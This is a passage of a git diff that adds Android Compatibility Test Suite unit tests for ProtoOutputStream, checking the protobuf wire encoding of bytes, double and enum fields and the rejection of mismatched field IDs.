+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeBytes(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new byte[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeBytes(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BYTES),
+                    new byte[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new byte[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedBytes(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_BYTES),
+                    new byte[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamDoubleTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamDoubleTest.java
new file mode 100644
index 0000000..31a3adf
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamDoubleTest.java
@@ -0,0 +1,519 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the double methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamDoubleTest extends TestCase {
+    /**
+     * Compare if the values are identical (including handling for matching isNaN).
+     */
+    public void assertEquals(double expected, double actual) {
+        if (Double.isNaN(expected)) {
+            if (!Double.isNaN(actual)) {
+                throw new RuntimeException("expected NaN, actual " + actual);
+            }
+        } else {
+            if (expected != actual) {
+                throw new RuntimeException("expected " + expected + ", actual " + actual);
+            }
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeDouble
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeDouble.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+
+        po.writeDouble(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeDouble(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeDouble(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432);
+        po.writeDouble(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42);
+        po.writeDouble(ProtoOutputStream.makeFieldId(5, fieldFlags), Double.MIN_NORMAL);
+        po.writeDouble(ProtoOutputStream.makeFieldId(6, fieldFlags), Double.MIN_VALUE);
+        po.writeDouble(ProtoOutputStream.makeFieldId(7, fieldFlags), Double.NEGATIVE_INFINITY);
+        po.writeDouble(ProtoOutputStream.makeFieldId(8, fieldFlags), Double.NaN);
+        po.writeDouble(ProtoOutputStream.makeFieldId(9, fieldFlags), Double.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x19,
+                (byte)0x7d, (byte)0x3f, (byte)0x35, (byte)0x5e,
+                (byte)0xba, (byte)0x49, (byte)0x93, (byte)0xc0,
+                // 4 -> 42.42
+                (byte)0x21,
+                (byte)0xf6, (byte)0x28, (byte)0x5c, (byte)0x8f,
+                (byte)0xc2, (byte)0x35, (byte)0x45, (byte)0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte)0x29,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x10, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x31,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte)0x39,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0xff,
+                // 8 -> Double.NaN
+                (byte)0x41,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf8, (byte)0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte)0x49,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1234.432);
+        testWriteCompat(42.42);
+        testWriteCompat(Double.MIN_NORMAL);
+        testWriteCompat(Double.MIN_VALUE);
+        testWriteCompat(Double.NEGATIVE_INFINITY);
+        testWriteCompat(Double.NaN);
+        testWriteCompat(Double.POSITIVE_INFINITY);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(double val) throws Exception {
+        final int fieldId = 10;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.doubleField = val;
+        po.writeDouble(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.doubleField);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedDouble
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeDouble.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(5, fieldFlags), Double.MIN_NORMAL);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(6, fieldFlags), Double.MIN_VALUE);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(7, fieldFlags), Double.NEGATIVE_INFINITY);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(8, fieldFlags), Double.NaN);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(9, fieldFlags), Double.POSITIVE_INFINITY);
+
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(5, fieldFlags), Double.MIN_NORMAL);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(6, fieldFlags), Double.MIN_VALUE);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(7, fieldFlags), Double.NEGATIVE_INFINITY);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(8, fieldFlags), Double.NaN);
+        po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(9, fieldFlags), Double.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x19,
+                (byte)0x7d, (byte)0x3f, (byte)0x35, (byte)0x5e,
+                (byte)0xba, (byte)0x49, (byte)0x93, (byte)0xc0,
+                // 4 -> 42.42
+                (byte)0x21,
+                (byte)0xf6, (byte)0x28, (byte)0x5c, (byte)0x8f,
+                (byte)0xc2, (byte)0x35, (byte)0x45, (byte)0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte)0x29,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x10, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x31,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte)0x39,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0xff,
+                // 8 -> Double.NaN
+                (byte)0x41,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf8, (byte)0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte)0x49,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x19,
+                (byte)0x7d, (byte)0x3f, (byte)0x35, (byte)0x5e,
+                (byte)0xba, (byte)0x49, (byte)0x93, (byte)0xc0,
+                // 4 -> 42.42
+                (byte)0x21,
+                (byte)0xf6, (byte)0x28, (byte)0x5c, (byte)0x8f,
+                (byte)0xc2, (byte)0x35, (byte)0x45, (byte)0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte)0x29,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x10, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x31,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte)0x39,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0xff,
+                // 8 -> Double.NaN
+                (byte)0x41,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf8, (byte)0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte)0x49,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new double[0]);
+        testRepeatedCompat(new double[] { 0, 1, -1234.432, 42.42,
+                    Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+                    Double.POSITIVE_INFINITY,
+                });
+        }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(double[] val) throws Exception {
+        final int fieldId = 11;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.doubleFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.doubleFieldRepeated);
+        assertEquals(val.length, readback.doubleFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.doubleFieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedDouble
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeDouble.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedDouble(ProtoOutputStream po, int fieldId, double val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+        po.writePackedDouble(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new double[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        writePackedDouble(po, 1, 0);
+        writePackedDouble(po, 2, 1);
+        writePackedDouble(po, 3, -1234.432);
+        writePackedDouble(po, 4, 42.42);
+        writePackedDouble(po, 5, Double.MIN_NORMAL);
+        writePackedDouble(po, 6, Double.MIN_VALUE);
+        writePackedDouble(po, 7, Double.NEGATIVE_INFINITY);
+        writePackedDouble(po, 8, Double.NaN);
+        writePackedDouble(po, 9, Double.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x3f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x1a,
+                (byte)0x10,
+                (byte)0x7d, (byte)0x3f, (byte)0x35, (byte)0x5e,
+                (byte)0xba, (byte)0x49, (byte)0x93, (byte)0xc0,
+                (byte)0x7d, (byte)0x3f, (byte)0x35, (byte)0x5e,
+                (byte)0xba, (byte)0x49, (byte)0x93, (byte)0xc0,
+                // 4 -> 42.42
+                (byte)0x22,
+                (byte)0x10,
+                (byte)0xf6, (byte)0x28, (byte)0x5c, (byte)0x8f,
+                (byte)0xc2, (byte)0x35, (byte)0x45, (byte)0x40,
+                (byte)0xf6, (byte)0x28, (byte)0x5c, (byte)0x8f,
+                (byte)0xc2, (byte)0x35, (byte)0x45, (byte)0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte)0x2a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x10, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x10, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x32,
+                (byte)0x10,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte)0x3a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0xff,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0xff,
+                // 8 -> Double.NaN
+                (byte)0x42,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf8, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf8, (byte)0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte)0x4a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0xf0, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new double[] {});
+        testPackedCompat(new double[] { 0, 1, -1234.432, 42.42,
+                    Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+                    Double.POSITIVE_INFINITY,
+                });
+    }
+
+    /**
+     * Implementation of testPackedDoubleCompat with a given value.
+     */
+    public void testPackedCompat(double[] val) throws Exception {
+        final int fieldId = 12;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.doubleFieldPacked = val;
+        po.writePackedDouble(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.doubleFieldPacked);
+        assertEquals(val.length, readback.doubleFieldPacked.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.doubleFieldPacked[i]);
+        }
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_INT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32),
+                    new double[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedDouble(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new double[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamEnumTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamEnumTest.java
new file mode 100644
index 0000000..c924ab0
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamEnumTest.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the enum methods on the ProtoOutputStream class.
+ *
+ * Nano proto CodedOutputByteBufferNano has writeEnum that writes a raw varint,
+ * but the generated code uses writeInt32.  So we will follow that implementation.
+ */
+public class ProtoOutputStreamEnumTest extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeEnum
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeEnum.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        po.writeEnum(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeEnum(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeEnum(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeEnum(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeEnum(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 160;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.outsideField = val;
+        po.writeEnum(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        // The generated code filters the values, so only check those.
+        if (val == Test.OUTSIDE_0 || val == Test.OUTSIDE_1) {
+            assertEquals(val, readback.outsideField);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedEnum
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeEnum.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
